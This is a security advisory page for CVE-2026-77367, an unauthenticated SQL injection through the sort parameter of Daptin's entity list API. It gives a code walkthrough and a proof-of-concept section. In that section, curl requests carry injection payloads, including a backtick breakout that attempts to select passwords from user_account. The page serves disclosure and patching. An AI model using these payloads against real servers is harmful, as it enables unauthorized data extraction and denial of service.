CVE-2026-77367: Daptin: Unauthenticated SQL Injection via the `sort` query parameter on every entity list endpoint
Summary An unauthenticated attacker can inject arbitrary SQL through the sort query parameter accepted by Daptin's generic entity list endpoint (GET /api/ ), which every table in a Daptin instance exposes. The parameter is concatenated into raw SQL identifiers with no validation that the referenced column exists, unlike a sibling code path in the same file that received exactly this validation as the fix for a…
Published Nov 20, 2026
Affected packages
github.com/daptin/daptin
- Ecosystem
- Go
- Affected
- <= 0.12.29
- Fixed in
- 0.12.30
- Check
go list -m github.com/daptin/daptin
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
An unauthenticated attacker can inject arbitrary SQL through the sort query parameter accepted by Daptin's generic entity list endpoint (GET /api/<entity>), which every table in a Daptin instance exposes. The parameter is concatenated into raw SQL identifiers with no validation that the referenced column exists, unlike a sibling code path in the same file that received exactly this validation as the fix for a previously published advisory (GHSA-rw2c-8rfq-gwfv). Impact ranges from unauthenticated denial of service (a single crafted request 500s the query) to blind/error-based extraction of data from tables the requester has no permission to read.
Details
PaginatedFindAllWithoutFilters in server/resource/resource_findallpaginated.go reads the sort query parameter directly from the request with no validation:
// server/resource/resource_findallpaginated.go:300-302
var sortOrder []string
if len(req.QueryParams["sort"]) > 0 {
sortOrder = req.QueryParams["sort"]Each entry is then concatenated with the table name and passed to goqu.I() (goqu's raw SQL *identifier* constructor) in two separate places, with no check that the referenced column exists on the table:
// server/resource/resource_findallpaginated.go:435-449 (SELECT column list)
for _, sort := range sortOrder {
...
if strings.Index(sort, "(") == -1 {
sort = prefix + sort
}
idQueryCols = append(idQueryCols, goqu.I(sort).As(strings.ReplaceAll(sort, ".", "_")))
}// server/resource/resource_findallpaginated.go:916-943 (ORDER BY clause)
for _, so := range sortOrder {
...
orders = append(orders, goqu.I(ord).Asc())
}goqu.I() renders its argument by wrapping it in the dialect's quote character (a backtick, in this build's configured dialect) without escaping an embedded quote character of the same kind. A backtick supplied in sort closes the identifier early, and the remainder of the attacker string is parsed as raw SQL grammar rather than treated as inert column-name text.
This is the same bug class as GHSA-rw2c-8rfq-gwfv ("SQL injection via unvalidated goqu.L() calls in aggregate API", CWE-89, fixed in v0.11.4). That fix added an allow-list check a few hundred lines later in the same file, in the fuzzy-search code path:
// server/resource/resource_findallpaginated.go:1491-1505
// Validate each column against table schema (prevents SQL injection via goqu.L)
tableInfo := dbResource.tableInfo
var validColumns []string
for _, col := range columns {
if _, ok := tableInfo.GetColumnByName(col); ok {
validColumns = append(validColumns, col)
} else {
log.Warnf(...)
}
}The identical validation was never applied to the base sort parameter handling earlier in the same file. Unlike fuzzy search (which requires an explicit filter operator to reach), plain sort is processed on every list request to every entity, authenticated or not.
PoC
Build current HEAD and run it with a fresh SQLite database and no custom schema:
go build -buildvcs=false -o daptin_bin .
./daptin_binNo account needs to exist. world (and most default tables) are guest-readable, so all requests below are sent with no `Authorization` header at all:
# 1) Reflection -- proves raw, unsanitized concatenation
curl -s -G "http://localhost:6336/api/world" --data-urlencode 'sort=email" --'
# => {"errors":[{"status":"500","title":"no such column: world.email\" --"}]}
# Server log shows the exact constructed query:
# SELECT distinct(user_account.id), `user_account`.`email" --` AS `user_account_email" --`
# FROM `user_account` LEFT JOIN ... WHERE (...) ORDER BY `user_account`.`email" --` ASC LIMIT ? == [10]
# 2) Backtick breakout -- proves the payload is parsed as SQL grammar, not literal text
curl -s -G "http://localhost:6336/api/user_account" \
--data-urlencode 'sort=id`,(select password from user_account limit 1)'
# => {"errors":[{"status":"500","title":"near \"``\": syntax error"}]}
# 3) Zero credentials, reliable across repeated attempts
for i in 1 2 3; do
curl -s -o /dev/null -w "%{http_code}\n" -G "http://localhost:6336/api/world" \
--data-urlencode 'sort=`x'
done
# => 500 / 500 / 500Credited to tinyb0y.
References
- https://github.com/daptin/daptin/security/advisories/GHSA-hq2p-f2vj-v3cm
- https://nvd.nist.gov/vuln/detail/CVE-2026-77367
- https://github.com/daptin/daptin/commit/b0bcc1318832b9055781f032853ef9d2264652cf
- https://github.com/daptin/daptin/releases/tag/v0.12.30
- https://github.com/advisories/GHSA-hq2p-f2vj-v3cm
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-77369
Daptin: Broken Access Control (IDOR) in the generic YJS collaboration endpoint
critical9.6Nov 20, 2026CVE-2026-62160
Daptin: ParseAcceptLanguage `_` separator bypass enables >250x CPU amplification via Accept-Language header in LanguageMiddleware
high8.7No fixOct 29, 2026GHSA-258c-965c-p3hc
Daptin's Session Management Vulnerability Leads to Insufficient Session Expiration After Password Change
medium6.5May 7, 2026CVE-2026-44349
Daptin fuzzy search injects unvalidated column name into raw SQL
high7.1May 6, 2026CVE-2026-41422
Daptin: SQL injection via unvalidated goqu.L() calls in aggregate API
high8.3Apr 22, 2026GHSA-9cp7-j3f8-p5jx
Daptin has Unauthenticated Path Traversal and Zip Slip
critical10.0Apr 10, 2026
